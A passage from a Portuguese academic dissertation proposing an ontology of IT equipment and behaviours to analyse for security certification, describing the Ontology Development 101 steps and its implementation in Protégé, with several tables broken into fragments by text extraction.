ProtegeOntologiesLibrary24 é uma livraria de Ontologias fornecida a partir da própria página web do Protégé; WebProtege25 é a versão web da ferramenta Protégé, onde se encontram algumas Ontologias criadas nesta plataforma; TONES Ontology Respository26 é um repositório com o propósito de auxiliar o desenvolvimento de Ontologias onde se encontram alguns exemplos; ONKI27 é um repositório que contém Ontologias, vocabulários e léxicos; Vivo Ontology Repository28 é um repositório com algumas Ontologias de diferentes Domínios; Watson RDP29 é um motor de busca de documentos do tipo Resource Description Framework - RDF30 e Ontologias; Swoogle31 é um motor de busca de documentos RDF e Ontologias;

Foram efetuadas diversas pesquisas de Ontologias que pudessem ser reutilizadas para o âmbito desta Dissertação, contudo não foram obtidos resultados significativos.

Um dos exemplos encontrados que tem alguma relação com o que se pretende desenvolver foi uma Ontologia no diretório do WebProtégé designada Computer Galery, com referência da sua criação para propósitos académicos, com algumas 24 http://protege.cim3.net/cgi-bin/wiki.pl?ProtegeOntologiesLibrary 25 http://webprotege.stanford.edu/#List:coll=Home; 26 http://rpc295.cs.man.ac.uk:8080/repository/ 27 http://onki.fi/ 28 http://swl.slis.indiana.edu/repository/ 29 http://watson.kmi.open.ac.uk/WatsonWUI/index.html 30 http://www.w3.org/RDF/ 31 http://swoogle.umbc.edu/

.



116 .

Classes como Computer com Subclasses como Desktop, Netbook, Notebook, etc e Device com Subclasses como Cpu, Graphic Card, Memory, etc.

Embora existam alguns conceitos nesta e noutras Ontologias que possam ser utilizados para a formalização da Ontologia desta Dissertação, não existe um grau de detalhe e de relações que justifiquem a sua reutilização.

6.4.3 Enumerar termos importantes da Ontologia

Deve ser criada uma lista de termos importantes a utilizar na Ontologia, e efetuadas declarações sobre o seu âmbito tornando assim mais fácil a compreensão a eventuais utilizadores da Ontologia [75].

Embora a maioria destes termos dê origem a Classes, podem também originar Instâncias dessas Classes. Nesta altura da implementação da Metodologia não é relevante especificar exatamente todas as Classes, Instâncias ou Propriedades, sendo que se pretende que esta lista seja dinâmica e atualizável durante a implementação da Ontologia [75].

Neste caso específico podemos desde já enumerar alguns termos importantes tais como os apresentados na Tabela que se segue.

Termo Equipamento Informático Equipamentos capazes de se ligarem diretamente à rede Equipamentos incapazes de se ligarem diretamente à rede Computadores Completos Componentes ou Placas de Expansão de Computadores Equipamentos de Rede Equipamentos Portáteis Periféricos de Entrada Periféricos de Saída Periféricos de Entrada/Saída … Computador de Secretária Computador Portátil … Processador Memória RAM …

Tabela 6 – Exemplo de Termos Importantes da Ontologia a desenvolver

Os passos que se seguem nesta Metodologia, “Definir Classes e a sua Hierarquia” e “Definir as Propriedades e Atributos das Classes” estão intimamente ligados, e nem sempre é fácil escolher qual o primeiro a efetuar. Tipicamente são criadas algumas definições de conceitos na Hierarquia, ou seja, criadas Classes e depois descritas as

.



117 .

suas Propriedades. Estes são considerados os passos mais importantes no processo de desenho da Ontologia [75].

6.4.4 Definir Classes e a sua Hierarquia

Existem algumas possibilidades para a definição das Classes e da sua Hierarquia, como sejam [75]:

Um processo de desenvolvimento top-down começa com a definição dos conceitos mais gerais no Domínio e sua consequente especialização ou refinamento, ou seja, as folhas da árvore da hierarquia; Um processo de desenvolvimento bottom-up começa com a definição das classes mais específicas, ou seja, as folhas da árvore da hierarquia, seguida do consequente agrupamento destas classes em conceitos mais gerais; Um processo de desenvolvimento combinado, ou seja, em que são em primeiro lugar definidos os conceitos mais salientes, e depois cada um deles será generalizado e refinado.

Não existe uma recomendação para um dos métodos, ficando ao critério de quem implementa a Ontologia optar por uma das abordagens, assim tenha uma visão mais abrangente do Domínio ou pelo contrário tenha uma visão mais ao nível dos detalhes, ou seja, das folhas da árvore da Hierarquia.

Neste caso específico será utilizado um processo combinado, uma vez que existe tanto uma visão global do que se pretende, ou seja testar e avaliar equipamento informático, ao mesmo tempo que também existe uma ideia de quais serão os níveis inferiores, ou seja que tipos de equipamentos e quais os testes e efetuar aos mesmos.

Assim, existem algumas recomendações que devem ser tidas em conta [75]:

Garantir que a hierarquia de Classes é a correta A hierarquia de Classes representa uma relação do tipo “é-um” (is-a) ou “é-um-tipo-de” (kind-of) ou seja, um Computador é um (ou é um tipo de) Equipamento Informático. Não devem ser utilizados termos no singular e no plural como Computador ou Computadores, sendo que, Computador não é um tipo de Computadores. Deve existir uma transitividade nas relações entre Classes ou seja, se Portátil é uma Subclasse de Computador e se Computador é uma Subclasse de Equipamento Informático então Portátil também é uma Subclasse de Equipamento Informático. Deve ser mantida uma hierarquia consistente de Classes, se Portátil é uma Subclasse de Computador então não poderá ser uma Subclasse de outra Classe como Componentes ou Placas de Expansão de Computadores.

.



118 .

Análise de Descendência de Classes A descendência na hierarquia de Classes representa Classes que são diretamente Subclasses da mesma Classe. Não existe uma regra que dite quantas Subclasses diretas uma Classe deve ter, no entanto a maioria das Ontologias bem estruturadas têm entre duas e dez Subclasses diretas. Se existisse apenas um tipo de Computador que fosse “Portátil”, não seria necessário uma Subclasse direta da Classe “Computador” para essa Subclasse. Nesses casos normalmente são criadas Instâncias das Classes também designadas de Indivíduos.

Análise da Herança Múltipla A maioria dos sistemas de representação de conhecimento permite a herança múltipla na hierarquia de Classes ou seja, uma Classe pode ser Subclasse de várias Classes interligadas acima da sua hierarquia. A Classe “Computadores Completos” tem duas Superclasses, ou seja, é Subclasse da Classe “Equipamentos capazes de se ligarem diretamente à rede” e da Classe “Equipamentos TI”. Cada instância da Classe “Computadores Completos” é consequentemente instância das suas Superclasses e herda assim as suas Propriedades e Atributos.

Decidir quando introduzir uma nova Classe É uma das decisões mais difíceis durante a fase de desenho da Ontologia. Deve existir um equilíbrio, não devem existir hierarquias muito complexas com muitos ramos e folhas, mas também não devem existir hierarquias demasiado retas e sem expressividade. Normalmente uma Subclasse de uma Classe deve ter Propriedades adicionais, restrições ou relações diferentes que a Superclasse. Estas decisões variam consoante seja o âmbito e o objetivo da Ontologia, por exemplo deverá ser criada uma Classe “Equipamentos capazes de ligarem diretamente à rede” e depois preenche-la com Indivíduos como Portáteis, Computadores de Secretária, Impressoras Multifunções, ou deverão estes ser Subclasses dessa Classe? Como foi referido, depende do âmbito da Ontologia, que neste caso se pretende tenha um grau de detalhe que implica alguma hierarquia, assim difiram os testes e avaliações a efetuar para cada Subclasse.

Decidir se se deve introduzir uma Instância (Indivíduo) ou uma Classe Decidir quando um conceito em particular deve ser uma Classe ou uma Indivíduo de uma Classe depende mais uma vez do âmbito e objetivos da Ontologia. Um Indivíduo é o conceito mais específico representado numa base de conhecimento. No entanto se os conceitos formam uma Hierarquia natural, então devem ser considerados como Classes. Decidir onde acaba uma Classe e

.



119 .

onde começa um Indivíduo prende-se com a decisão sobre qual é o nível de granularidade mais baixo na representação. Por seu lado, este nível de granularidade é determinado por uma potencial aplicação da Ontologia. Por outras palavras, é necessário saber quais são os items mais específicos que irão ser representados na base de conhecimento. Por exemplo no caso desta Ontologia, irão ser introduzidos Indivíduo na base da hierarquia, ou seja, serão as folhas da árvore e representam a mais baixa especificação de equipamentos ou comportamentos.

Limitação do Âmbito Não deve existir uma preocupação para que a Ontologia contenha toda a Informação possível no seu Domínio. Não deve ser generalizado ou especificado mais do que se necessita para a aplicação da Ontologia em causa.

Assim, e vistas estas recomendações, para esta Ontologia propõem-se duas Classes principais: Classe de Equipamentos TI e Classe de Comportamentos a Analisar sobre esses equipamentos.

Classe de Equipamentos TI

Os diferentes equipamentos informáticos possuem diferentes características e propriedades consoante o seu tipo e objetivos. A sua classificação em Classes facilitará posteriormente a avaliação e certificação destes equipamentos, uma vez que consoante a Classe onde forem inseridos assim deverão respeitar determinadas propriedades inerentes a essa classificação que resultarão em testes específicos a realizar.

O critério proposto nesta Dissertação para a classificação dos equipamentos em Classes tem primeiramente a ver com a possibilidade de os mesmos terem a capacidade de se ligarem diretamente a uma rede de computadores ou não. Esta escolha deveu-se ao facto de este ser o meio que potenciará as eventuais vulnerabilidades introduzidas no equipamento, ao permitir o envio de Informação de e para esse equipamento.

Este critério originará dois grupos principais de Classes de Equipamentos TI, “Equipamentos capazes de se ligarem diretamente à rede” e “Equipamentos incapazes de se ligarem diretamente à rede”, sendo que cada um deles contém subclasses para os diferentes tipos de equipamentos informáticos que se enquadrem nesses grupos principais.

.



120 .

Nesta Dissertação propõe-se um conjunto de equipamentos passíveis de testar e avaliar no Laboratório de Certificação de Equipamento Informático, sendo que fica aberta a possibilidade de avaliar outros equipamentos que não estejam referidos na classificação, através da inclusão de Subclasses ou Indivíduos do tipo “Outros…”.

A Tabela que se segue esquematiza a Classificação dos Equipamentos em Classes de acordo com os fatores referidos, e encontra-se em Português para um melhor entendimento, sendo que na Ontologia será introduzida em Inglês.

.

Cer

tific

ação

de

Idon

eida

de d

e Eq

uipa

men

to In

form

átic

o In

tegr

ado

em R

edes

de

Com

puta

dore

s

Cap

ítulo

6 –

Pro

post

a de

Ont

olog

ia d

e Eq

uipa

men

to In

form

átic

o

121 .

Clas

sific

ação

dos

Equ

ipam

ento

s In

form

átic

os e

m C

lass

es

Clas

se

Des

igna

ção

Subc

lass

e D

esig

naçã

o In

stân

cia

Des

igna

ção

A Eq

uipa

men

tos c

apaz

es d

e se

liga

rem

dir

etam

ente

à

rede

A.1

Com

puta

dore

s Com

plet

os

A.1.

1 D

e se

cret

ária

(des

ktop

s, se

rver

s, m

ainf

ram

es, s

uper

com

pute

rs, e

tc)

A.1.

2 Po

rtát

eis

A.1.

3 Ou

tros

equ

ipam

ento

s equ

ipar

ados

a C

ompu

tado

res C

ompl

etos

A.2

Com

pone

ntes

ou

Plac

as d

e Ex

pans

ão d

e Co

mpu

tado

res

A.2.

1 M

othe

rboa

rds c

om P

laca

s de

Rede

onb

oard

A.

2.2

Plac

as d

e Re

de (l

an e

wifi

) A.

2.3

Outr

os C

ompo

nent

es o

u Pl

acas

de

Expa

nsão

cap

azes

de

se li

gare

m à

rede

A.3

Equi

pam

ento

s de

Rede

A.3.

1 H

UBs

A.3.

2 Re

petid

ores

de

Rede

/ P

ower

lines

A.

3.3

Switc

hes

A.3.

4 Ro

uter

s A.

3.5

Gate

way

s A.

3.6

Outr

os E

quip

amen

tos d

e Re

de

A.4

Peri

féri

cos e

Out

ros D

ispo

sitiv

os

de E

ntra

da/S

aída

A.4.

1 Im

pres

sora

s Mul

tifun

ções

com

funç

ões d

e Re

de

A.4.

2 Un

idad

es d

e UP

S co

m p

laca

de

Rede

A.4.

3 Ou

tros

Dis

posi

tivos

e P

erifé

rico

s de

Entr

ada/

Saíd

a ca

paze

s de

se li

gare

m à

re

de

A.5

Equi

pam

ento

s Por

táte

is

A.5.

1 Te

lem

óvei

s A.

5.2

Smar

tpho

nes

A.5.

3 Ta

blet

s A.

5.4

Outr

os E

quip

amen

tos P

ortá

teis

capa

zes d

e se

liga

rem

à re

de

B Eq

uipa

men

tos i

ncap

azes

de

se li

gare

m d

iret

amen

te à

re

de

B.1

Com

pone

ntes

ou

Plac

as d

e Ex

pans

ão d

e Co

mpu

tado

res

B.1.

1 M

othe

rboa

rds s

em P

laca

s de

Rede

onb

oard

B.

1.2

Proc

essa

dore

s B.

1.3

Mem

ória

s RAM

B.

1.4

Dis

cos R

ígid

os

B.1.

5 Le

itore

s / G

rava

dore

s de

CD/D

VD

B.1.

6 Le

itore

s de

disq

uete

s / Z

ip D

rive

s e o

utro

s B.

1.7

Outr

os c

ompo

nent

es d

e co

mpu

tado

res

B.1.

8 Pl

acas

de

Som

B.

1.9

Plac

as d

e Ví

deo

B.1.

10

Outr

as P

laca

s de

Expa

nsão

inca

paze

s de

se li

gare

m d

iret

amen

te à

rede

B.2

Peri

féri

cos e

Out

ros D

ispo

sitiv

os

de E

ntra

da

B.2.

1 Te

clad

os (c

om e

sem

fios

) B.

2.2

Rato

s (co

m e

sem

fios

) B.

2.3

Scan

ners

(tra

dici

onai

s)

B.2.

4 W

ebca

ms (

trad

icio

nais

)

B.2.

5 Ou

tros

Dis

posi

tivos

e P

erifé

rico

s de

Entr

ada

inca

paze

s de

se li

gare

m

dire

tam

ente

à re

de

.

Cer

tific

ação

de

Idon

eida

de d

e Eq

uipa

men

to In

form

átic

o In

tegr

ado

em R

edes

de

Com

puta

dore

s

Cap

ítulo

6 –

Pro

post

a de

Ont

olog

ia d

e Eq

uipa

men

to In

form

átic

o

122

.

B.3

Peri

féri

cos e

Out

ros D

ispo

sitiv

os

de S

aída

B.3.

1 M

onito

res

B.3.

2 Im

pres

sora

s sem

funç

ões d

e Re

de

B.3.

3 Co

luna

s do

Som

B.

3.4

Proj

etor

es d

e Ví

deo

sem

funç

ões d

e Re

de

B.3.

5 Ou

tros

Dis

posi

tivos

e P

erifé

rico

s de

Saíd

a

B.4

Peri

féri

cos e

Out

ros D

ispo

sitiv

os

de E

ntra

da/S

aída

B.4.

1 D

isco

s Ext

erno

s B.

4.2

Dis

posi

tivos

Fla

sh U

SB

B.4.

3 Po

intin

g De

vice

s B.

4.4

Leito

res d

e M

P3/M

P4

B.4.

5 Câ

mar

as D

igita

is

B.4.

6 Ca

rtõe

s de

Mem

ória

B.4.

7 Ou

tros

Dis

posi

tivos

e P

erifé

rico

s de

Entr

ada/

Saíd

a in

capa

zes d

e se

liga

rem

di

reta

men

te à

rede

Tabe

la 7

- Cl

assi

ficaç

ão d

os E

quip

amen

tos

Info

rmát

icos

em

Cla

sses

.



123 .

Classe de Comportamentos a Analisar

O equipamento informático, consoante as suas características e propriedades, assume determinados comportamentos uma vez em funcionamento. Esses comportamentos variam consoante o tipo de equipamento (smartphones, tablets, computadores, servidores, entre outros), o local onde está inserido a operar (casa, empresa, governo, militar, entre outros), qual o objetivo para o qual lá foi introduzido (computador pessoal, estação de trabalho, servidor de aplicações, entre outros), se está ligado em rede ou não (ligado diretamente à Internet em casa, ligado a uma rede empresarial, entre outros), ou outros fatores que possam influenciar o seu comportamento.

Desta forma, a classificação dos comportamentos a analisar, facilitará posteriormente a avaliação e certificação dos equipamentos, uma vez que a classificação obtida pelos mesmos na Classe de Equipamentos TI, descrita anteriormente, corresponderá a uma ou várias Classes de Comportamentos a analisar.

O fator proposto nesta Dissertação para a classificação dos Comportamentos do Equipamento tem, à semelhança da Classe descrita anteriormente, a ver com os comportamentos estarem ou não diretamente relacionados com comunicações, originando duas Classes principais “Comportamentos relacionados diretamente com comunicações” e “Comportamentos não relacionados diretamente com comunicações” as quais por sua vez se dividem em Subclasses para diferentes tipos de comportamentos específicos.

A Tabela que se segue esquematiza a Classificação dos Comportamentos a Analisar de acordo com os fatores referidos.

.

Cer

tific

ação

de

Idon

eida

de d

e Eq

uipa

men

to In

form

átic

o In

tegr

ado

em R

edes

de

Com

puta

dore

s

Cap

ítulo

6 –

Pro

post

a de

Ont

olog

ia d

e Eq

uipa

men

to In

form

átic

o

124

.

Clas

sific

ação

dos

Com

port

amen

tos

a An

alis

ar e

m C

lass

es

Clas

se

Des

igna

ção

Subc

lass

e D

esig

naçã

o In

stân

cia

Des

igna

ção

C An

ális

e de

Com

port

amen

tos

rela

cion

ados

dir

etam

ente

com

co

mun

icaç

ões

C.1

Anál

ise

das C

omun

icaç

ões d

e Re

de

C.1.

1 An

ális

e da

s Com

unic

açõe

s de

Rede

com

Fio

s C.

1.2

Anál

ise

das C

omun

icaç

ões d

e Re

de se

m F

ios

C.2

Anál

ise

de O

utra

s Com

unic

açõe

s

C.2.

1 An

ális

e da

s Com

unic

açõe

s USB

C.

2.2

Anál

ise

das C

omun

icaç

ões H

DMI

C.2.

3 An

ális

e da

s Com

unic

açõe

s COM

C.

2.4

Anál

ise

das C

omun

icaç

ões L

PT

C.2.

5 An

ális

e da

s Com

unic

açõe

s Blu

etoo

th

C.2.

6 An

ális

e da

s Com

unic

açõe

s Fir

ewir

e C.

2.7

Anál

ise

das C

omun

icaç

ões I

nfra

verm

elho

s C.

2.8

Anál

ise

das C

omun

icaç

ões a

trav

és d

e Se

nsor

es

C.2.

9 An

ális

e de

Rad

iaçã

o El

etro

mag

nétic

a C.

2.10

An

ális

e de

Out

ras C

omun

icaç

ões

D

Anál

ise

de C

ompo

rtam

ento

s não

re

laci

onad

os d

iret

amen

te c

om

com

unic

açõe

s

D.1

An

ális

e do

s Ser

viço

s, Pr

oces

sos e

Apl

icaç

ões A

tivas

D.1

.1

Anál

ise

dos

Serv

iços

At

ivos

no

Si

stem

a Op

erat

ivo

D.1

.2

Anál

ise

dos

Proc

esso

s At

ivos

no

Si

stem

a Op

erat

ivo

D.1

.3

Anál

ise

das

Aplic

açõe

s At

ivas

no

Sist

emas

Op

erat

ivo

D.2

An

ális

e da

Mem

ória

Vol

átil

D.2

.1

Anál

ise

da M

emór

ia R

AM

D.3

An

ális

e da

Mem

ória

Não

-Vol

átil

D.3

.1

Anál

ise

do D

isco

Ríg

ido

D.3

.2

Anál

ise

de D

ispo

sitiv

os F

lash

USB

D

.3.3

An

ális

e de

Car

tões

de

Mem

ória

D.4

An

ális

e de

Dis

posi

tivos

de

Inte

raçã

o H

uman

a D

.4.1

An

ális

e da

Web

cam

(int

egra

do /

per

iféri

co)

D.4

.2

Anál

ise

do M

icro

fone

(int

egra

do /

per

iféri

co)

D.4

.3

Anál

ise

de o

utro

s Dis

posi

tivos

de

IH

D.5

An

ális

e El

étri

ca

D.5

.1

Anál

ise

da V

olta

gem

D

.5.2

An

ális

e da

Am

pera

gem

D.6

An

ális

e El

etró

nica

D

.6.1

An

ális

e de

Com

pone

ntes

Ele

trón

icos

(p

roce

ssad

or, p

roce

ssad

or g

ráfic

o, o

utro

s m

icro

ciph

s, et

c)

D.7

Ou

tras

Aná

lises

D

.7.1

Ou

tras

Aná

lises

Tabe

la 8

- Cl

assi

ficaç

ão d

os C

ompo

rtam

ento

s a

Anal

isar

em

Cla

sses

.



125 .

6.4.5 Definir as Propriedades das Classes (Slots)

As Classes por si só não dispõem de Informação suficiente que dê resposta ao primeiro passo desta Metodologia, ou seja, determinar qual o Domínio e Âmbito da Ontologia. Uma vez definidas as Classes, deve ser descrita a estrutura interna de conceitos. Na Secção “6.4.3 - Enumerar termos importantes da Ontologia” foram introduzidos alguns termos que na sua maioria originam Classes. A sua descrição e âmbito de utilização poderão em alguns casos originar as suas Propriedades que também se designam por Slots [75]. A Tabela que se segue ilustra alguns exemplos de Propriedades das Classes da Ontologia a desenvolver.

Termo Descrição

Equipamento Informático Abrange todos os equipamentos passíveis de serem testados e avaliados por um Laboratório de Certificação de Idoneidade

Equipamentos capazes de se ligarem diretamente à rede

Abrange todos os equipamentos capazes de se ligarem diretamente a uma rede informática através de uma determinada interface

Equipamentos incapazes de se ligarem diretamente à rede

Abrange todos os equipamentos que não são capazes por si só ou simplesmente não se ligam diretamente a uma rede informática.

Computadores Completos Abrange todos os tipos de computadores considerados completos, como por exemplo Desktops, Laptops, Servers, Mainframes, Supercomputers, etc

Componentes ou Placas de Expansão de Computadores

Abrange todos os componentes ou placas de expansão de computadores como por exemplo Motherboards, Processadores, Memórias RAM, Placas de Rede, Placas de Vídeo, etc

Equipamentos de Rede Abrange todos os equipamentos considerados do âmbito das redes informáticas como por exemplo HUBs, Switches, Routers, etc

Equipamentos Portáteis Abrange todos os equipamentos considerados portáteis como por exemplo Smartphones, Tablets, etc

Periféricos de Entrada Abrange todos os periféricos considerados de entrada que não são capazes por si só ou simplesmente não se ligam diretamente a uma rede informática como por exemplo Teclados, Ratos, etc

Periféricos de Saída Abrange todos os periféricos considerados de saída que não são capazes por si só ou simplesmente não se ligam diretamente a uma rede informática como por exemplo Monitores, Colunas de Som, etc

Periféricos de Entrada/Saída Abrange todos os periféricos considerados de entrada/saída como por exemplo Impressoras Multifunções com funções de Rede, Discos Externos, Dispositivos Flash USB, etc

… …

Computador de Secretária Abrange todos os computadores que tenham uma caixa, na qual se iserem componentes tais como Motherboard, Processador, Memória RAM, Placas de Expansão, Fonte de Alimentação, etc

Computador Portátil Abrange todos os computadores compactos que tenham embutidos um ecrã, um teclado, uma motherboard, um processador, uma bateria, etc

… …

Processador Abrange todos os componentes que sejam processadores de computadores ou de outros equipamentos

Memória RAM Abrange todos os componentes que sejam a memória volátil de computadores ou de outros equipamentos

… …

Tabela 9 - Exemplo de Termos e Descrições candidatos a Propriedades das Classes da Ontologia a desenvolver

Existem diversas Propriedades de um objeto que podem ser Propriedades das Classes de uma Ontologia como sejam propriedades intrínsecas como por exemplo o facto de um computador Portátil ter ecrã embutido, extrínsecas como por exemplo o seu

.



126 .

fabricante, se o objeto for estruturado partes dele como por exemplo o facto de um Portátil ter uma bateria [75].

Existem outros detalhes a ter em conta na definição de Propriedades tais como o termo Inverse Slots, que representa que o valor de uma Propriedades pode eventualmente depender do valor de outro, por exemplo, um Fabricante produz Portáteis, então uma aplicação de base de conhecimento deve inferir o inverso, ou seja, um Portátil é produzido por um Fabricante [75].

6.4.6 Definir as Facetas das Propriedades

As Propriedades podem ter diversas facetas tais como a descrição do tipo de dados aceite, tipos de valores aceites, o número de valores (cardinalidades), ou outras características sobre os dados ou valores que uma Propriedade aceita. Por exemplo o valor de uma Propriedade “nome” será do tipo string [75].

A faceta cardinalidade define o número de valores que uma Propriedades pode ter. Alguns sistemas distinguem entre cardinalidade simples admitindo no máximo apenas um valor e cardinalidade múltipla admitindo qualquer número de valores. Por exemplo a capacidade de um equipamento se ligar a uma rede informática pode assumir o valor “sim” ou “não”. Por outro lado um Computador Completo de Secretária pode assumir os valores “desktop”, ”server”, “mainframe”, “supercomputer”, etc [75].

A faceta tipos de valores aceites define que tipos de valores podem preencher a Propriedade, sendo alguns dos mais comuns: string é o valor mais comum e mais simples, number é utilizado para descrever Propriedades com valores numéricos tais como preço, boolean descreve Propriedades com os valores “sim” ou “não”, enumerated descreve Propriedades com uma lista específica de valores, instance permite a definição de relações entre Indivíduos (individuals) [75].

As Classes permitidas para Propriedades do tipo instance são muitas vezes chamadas de intervalo de uma Propriedade. Por exemplo uma Classe Computador é o intervalo da Propriedade “produz” de uma Classe Fabricante de Computadores. Por outro lado, as Classes a que uma Propriedade está ligada são designadas de Domínio da Propriedade. Por exemplo a Classe Computador é o Domínio da Propriedade “produz” [75].

.



127 .

6.4.7 Criar Instâncias das Classes (Indivíduos)

Definir uma Instância de uma Classe requer: escolher a Classe, criar uma Instância individual dessa Classe e preencher os valores das suas Propriedades [75].

Como já foi referido, deverá ser analisado para cada caso se a introdução deverá ser um Indivíduo ou uma nova Classe, consoante o Âmbito e objetivos da Ontologia, mas também consoante o seu programador e as suas respetivas ideias sobre a implementação [75].

Por exemplo “Computador de Secretária” e “Computador Portátil” podem ser Instâncias da Classe “Computadores Completos”. Mas por outro lado, podem também ser Subclasses e fazer parte da Hierarquia do Modelo, assim seja necessário introduzir um maior ou menor nível de detalhe nestes objetos.

Neste caso específico, serão introduzidos Indivíduos ao nível mais baixo da hierarquia, representando assim cada tipo de Equipamento TI ou cada tipo de Comportamento a analisar com as devidas descrições.

As Subsecções anteriores descrevem os sete passos aconselhados a seguir pela Metodologia Ontology Development 101, sendo que as Secções que se seguem especificam qual a ferramenta utilizada e a formalização da Ontologia propriamente dita.

6.5. Ferramenta para a Implementação da Ontologia

O editor Protégé (Protégé-Frames editor) permite aos utilizadores construir e modelar Ontologias do tipo frame-based, de acordo com o Open Knowledge Base Conectivity Protocol – OKBC. O OKBC é um interface de programação de aplicações que acede a bases de conhecimento armazenadas em sistemas de armazenamento de conhecimento (Knowledge Representation Systems - KRSs). O OKBC foi desenvolvido através da participação e promoção de um programa da Agência de Investigação Avançada de Projetos de Defesa (Defense Advanced Research Projects Agency - DARPA) dos Estados Unidos da América, designado High Performance Knowledge Base Program – HPKB onde tem sido utilizado como um protocolo inicial na integração de vários componentes de diferentes tecnologias. O OKBC fornece um modelo de KRSs baseado numa conceptualização comum de classes indivíduos, atributos, facetas e herança e é definido numa linguagem de programação de forma independente com implementações em Lisp, Java e C. O OKBC suporta um acesso, quer através de rede quer direto, a bases de conhecimento e a KRSs [76].

.



128 .

Por outro lado o Protégé (Protégé-OWL editor) permite aos utilizadores construir e modelar Ontologias do tipo Semantic Web em particular as baseadas em OWL do W3C que incluem Indivíduos, Propriedades, Classes e as suas Instâncias. Numa Ontologia deste tipo, a semântica formal da OWL específica como tratar as suas consequências lógicas, isto é, factos que não estejam literalmente presentes na Ontologia mas vinculados na semântica [76].

A página web do Protégé disponibiliza algumas versões desta ferramenta: uma versão web designada WebProtégé que pode ser executada em qualquer browser, uma versão desktop para instalação local que atualmente se encontra na versão 4.3 a qual suporta Ontologias na linguagem OWL-2, e algumas versões anteriores.

Nesta Dissertação utilizou-se o Protégé-OWL editor na sua versão desktop 4.3 que foi instalado localmente sobre o Windows.

6.6. Formalização da Ontologia

Esta Secção tem como objetivo formalizar a Ontologia, ou seja, implementa-la com base na Metodologia e Ferramenta descritas nas Secções anteriores.

Não é objetivo desta Dissertação aprofundar a Linguagem OWL mas sim desenvolver a Ontologia de Equipamento Informático de modo a que possa ser utilizada pelo Laboratório de Certificação de Idoneidade, e por quem assim o entenda, pelo que não se utilizará a OWL ao nível da sua sintaxe, mas sim através da ferramenta Protégé que serve de interface gráfica para a implementação de Ontologias com base na OWL.

6.6.1 Criação da Ontologia

Assim, em primeiro lugar foi iniciado o Protégé-OWL editor, como ilustra a Figura que se segue.

.



129 .

Figura 29 - Ecrã inicial do Protégé-OWL editor

No separador Active Ontology, foram adicionados alguns detalhes sobre a Ontologia. Além dos campos pré-definidos como comentários (comment), versão (versionInfo), etc, foram criados novos campos como autor (author) e data (date), como ilustra a Figura que se segue.

Figura 30 - Criação e adição de Anotações na Ontologia ativa no Protégé

.



130 .

Ao projeto foi assignado o nome “Computer Suitability Analysis” com a descrição “An Ontology of hardware that defines classes of computer equipment capable of testing and evaluation as to its suitability in terms of safety, the classes of behaviors to examine that define what to test and evaluate, and the relationships between them”.

Foi também adicionada informação sobre o autor, a data da última modificação, a versão e o tipo de projeto, como ilustra a Figura que se segue.

Figura 31 - Anotações da Ontologia ativa no Protégé

6.6.2 Criação das Classes da Ontologia

De seguida, foram criadas as Classes principais e as suas Subclasses com o critério já referido anteriormente na Secção “6.4.4 - Definir Classes e a sua Hierarquia”.

No separador Classes e na janela Class hierarchy foram adicionados alguns comentários à Superclasse Thing que é por defeito a Classe de topo da hierarquia de Classes no Protégé, com a descrição da Ontologia e das suas Classes principais.

As Classes principais foram criadas através do botão que significa Adicionar Subclasse (Add subclass) e foram adicionados comentários descritivos das mesmas através da janela Annotatios e mais precisamente num campo do tipo comment.

Os nomes das Classes foram criados com uma numeração alfanumérica para depois facilitar a relação com as suas Instâncias e também no final com a sistematização dos testes e avaliações a realizar aos equipamentos.

.



131 .

Outra Propriedade das Classes é que são Disjuntas (Disjoint) que significa que um Indivíduo (ou objeto) não pode ser Instância em mais do que uma delas [73]. Esta atribuição foi efetuada nas Classes principais, e herdada pelas Subclasses.

Estas ações são ilustradas nas Figuras que se seguem.

Figura 32 - Criação de Classes na Ontologia ativa no Protégé

Figura 33 - Atribuição da Propriedade Disjoint às Classes na Ontologia ativa no Protégé

.



132 .

6.6.3 Criação dos Indivíduos da Ontologia

Uma vez criada a estrutura hierárquica base, foram então introduzidos os Indivíduos (as folhas da árvore) através do separador Individuals e da janela com o mesmo nome. Estes Indivíduos representam, como já foi referido, as Instâncias de cada Classe criada, ou seja, o nível mais baixo de detalhe da hierarquia como foi proposto na Tabela 7 - Classificação dos Equipamentos Informáticos em Classes.

Os Indivíduos foram criados através do botão que significa Adicionar Indivíduo (Add individual) aos quais foram adicionados comentários sobre a sua descrição. Os nomes dos Indivíduos seguem a regra aplicada aos nomes das Classes, ou seja, iniciam-se com uma numeração alfanumérica, neste caso inferior, para assim ser mais fácil relacionar os vários objetos da Ontologia.

Na janela Description foi associado a cada um dos Indivíduos qual a Casse de que fazem parte através do campo Types, ou seja, cada Indivíduo “é do tipo” da Classe que for referenciada.

Estas ações são ilustradas na Figura que se segue.

Figura 34 - Criação dos Indivíduos na Ontologia ativa no Protégé

Nesta altura se se selecionar uma Classe, é possível visualizar quais os Indivíduos que são membros dessa Classe na janela Description, como ilustra a Figura que se segue, que mostra os Indivíduos membros da Classe Network Equipment (A.3.1_HUBs, A.3.2_Repeaters/Bridges/Powerlines, A.3.3_Switches, etc).

.



133 .

Figura 35 - Visualização de Membros de Classes na Ontologia ativa no Protégé

No caso dos Indivíduos correspondentes às Instâncias da Superclasse dos Comportamentos a Analisar (IT_Equipment_Behavior_Analysis) foi adicionado um novo campo através do separador Annotation Properties designado TestsAndAnalysisToPerform que servirá para descrever os testes e análises a efetuar.

No exemplo da Figura que se segue apresenta-se a descrição dos testes e análises a efetuar às comunicações de rede com fios, ou seja o Indivíduo

C.1.1_Wired_Communications_Analysis.

Figura 36 - Descrição dos Testes e Análises a efetuar às Comunicações de Rede Com Fios

.



134 .

A Tabela que se segue apresenta uma descrição das Análises de Comportamentos e Testes a efetuar em cada Indivíduo da Superclasse IT_Equipment_Behavior_Analysis.

Como já foi referido, esta Dissertação dá ênfase à análise das comunicações e comportamentos de rede de computadores completos, assim, a Tabela que se segue enuncia os testes com um maior grau de detalhe para a Subclasse C.1 uma vez que a mesma diz respeito à “Análise das Comunicações de Rede”.

Esta Subclasse propõe especificidades para a realização de alguns testes e avaliações ao nível comportamental com base em três cenários. O principal objetivo passa por efetuar estes testes e análises ao tráfego de rede gerado pelo equipamento em testes, sendo o principal objetivo iludi-lo através de um computador injetor de pacotes de rede, de que está ligado à infraestrutura de rede de uma empresa e à Internet levando-o assim a comportar-se para operar perante esse cenário, e desta forma através de um computador analisador se consigam detetar comportamentos estranhos, ou o envio de pacotes de dados duvidosos para o exterior da organização.

As restantes descrições têm um grau mais conceptual e generalista, e deverão ser detalhadas numa aplicação desta Ontologia num Laboratório de Certificação de Idoneidade devidamente implementado.

.

Cer

tific

ação

de

Idon

